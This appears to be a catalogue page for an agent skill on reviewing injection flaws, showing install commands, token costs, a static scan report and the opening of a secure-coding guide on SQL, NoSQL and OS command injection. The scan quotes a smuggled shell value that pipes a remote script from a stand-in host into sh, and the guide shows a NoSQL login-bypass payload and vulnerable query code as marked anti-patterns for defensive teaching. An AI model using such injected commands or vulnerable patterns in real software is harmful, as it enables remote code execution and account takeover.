Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add makifbaysal/tasktrooper --skill injection-and-dangerous-sinksgit clone --depth 1 https://github.com/makifbaysal/tasktrooperWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/makifbaysal/tasktrooper/injection-and-dangerous-sinks)<a href="https://agentmods.dev/skills/makifbaysal/tasktrooper/injection-and-dangerous-sinks"><img src="https://agentmods.dev/badge/skills/makifbaysal/tasktrooper/injection-and-dangerous-sinks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/makifbaysal/tasktrooper/injection-and-dangerous-sinks"><img src="https://agentmods.dev/badge/skills/makifbaysal/tasktrooper/injection-and-dangerous-sinks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00071 | $0.02425 |
| Opus 5.5 | $0.00028 | $0.00970 |
| Sonnet 5.5 | $0.00014 | $0.00485 |
| Haiku 4.5 | $0.00007 | $0.00243 |
Grade B, and why
injection-and-dangerous-sinks scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
# ❌ host = "8.8.8.8; curl evil.sh | sh" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# ❌ host = "8.8.8.8; curl evil.sh | sh" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
The dangerous part is the shell. `sh -c`, `shell=True`, `child_process.exec`, backticks, `system()`, `popen()`. How it starts
The opening of the file, as written. The whole thing — 150 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Injection and Dangerous Sinks
Overview
Injection is attacker data crossing from the data channel into the code channel of an interpreter: SQL, a shell, a template engine, an XML parser, a deserializer. The fix is almost always structural — keep data and code in separate channels — not escaping.
Core principle: the sink is only half the finding. Trace the value back to a source the attacker controls before you call it injection; a constant or a server-side config value in the same position is not.
1. SQL Injection (CWE-89)
Only string-built SQL counts. Parameter binding and ORM query builders are the control working.
// ❌
rows, _ := db.Query("SELECT * FROM users WHERE email = '" + email + "'")
// ✅
rows, _ := db.Query("SELECT * FROM users WHERE email = $1", email)
Where it hides in ORM code: Django .raw(), .extra(), RawSQL; SQLAlchemy text(f"…"); JPA createQuery("… " + x) (JPQL injection) and createNativeQuery; Spring JdbcTemplate with concatenation; Prisma $queryRawUnsafe/$executeRawUnsafe; Sequelize literal(); Knex raw() with template strings. Identifiers (ORDER BY, column, table names) cannot be bound — they need an allowlist:
# ❌ sort comes from the query string
cur.execute(f"SELECT * FROM tasks ORDER BY {sort}")
# ✅
cur.execute(f"SELECT * FROM tasks ORDER BY {SORTABLE[sort]}") # dict lookup; KeyError → 400
2. NoSQL Operator Injection (CWE-943)
A JSON body can carry an object where a string was expected.
// ❌ body {"email": "[email protected]", "password": {"$ne": null}} matches any password
const user = await Users.findOne({ email: req.body.email, password: req.body.password });
// ✅ force scalar types at the boundary (schema validation or String())
const user = await Users.findOne({ email: String(req.body.email) });
Also $where, $function and mapReduce with user-built JavaScript.
3. OS Command Injection (CWE-78)
The dangerous part is the shell. sh -c, shell=True, child_process.exec, backticks, system(), popen().
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 150 lines · 71 tokens per session scan B 0af088292324
injection-and-dangerous-sinks is a skill published in the GitHub repository makifbaysal/tasktrooper (113 stars, last pushed yesterday), licensed Apache-2.0. It adds 71 tokens to every session and 2,425 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-10-09.
Other skills, from other repositories
ramp
Fetch and follow Ramp's published agent playbooks inside Paperclip, with mandatory approval gates for spend, incorporation, cards, account setup, and other financial actions.
paperclip-create-agent
Create new agents in Paperclip with governance-aware hiring. Use when you need to inspect adapter configuration options, compare existing agent configs, draft a new agent prompt/config, and submit a hire request.
agent-crdt-synchronizer
Agent skill for crdt-synchronizer - invoke with $agent-crdt-synchronizer.
github-pr-workflow
Prepare a GitHub pull request from a feature branch — branch hygiene, commit shape, title/body, verification notes, screenshots for UI work, and replies to review comments.
agent-topology-optimizer
Agent skill for topology-optimizer - invoke with $agent-topology-optimizer.
paperclip-task-bridge
Create, comment on, update, and list Paperclip tasks from Hermes using scoped Paperclip API credentials.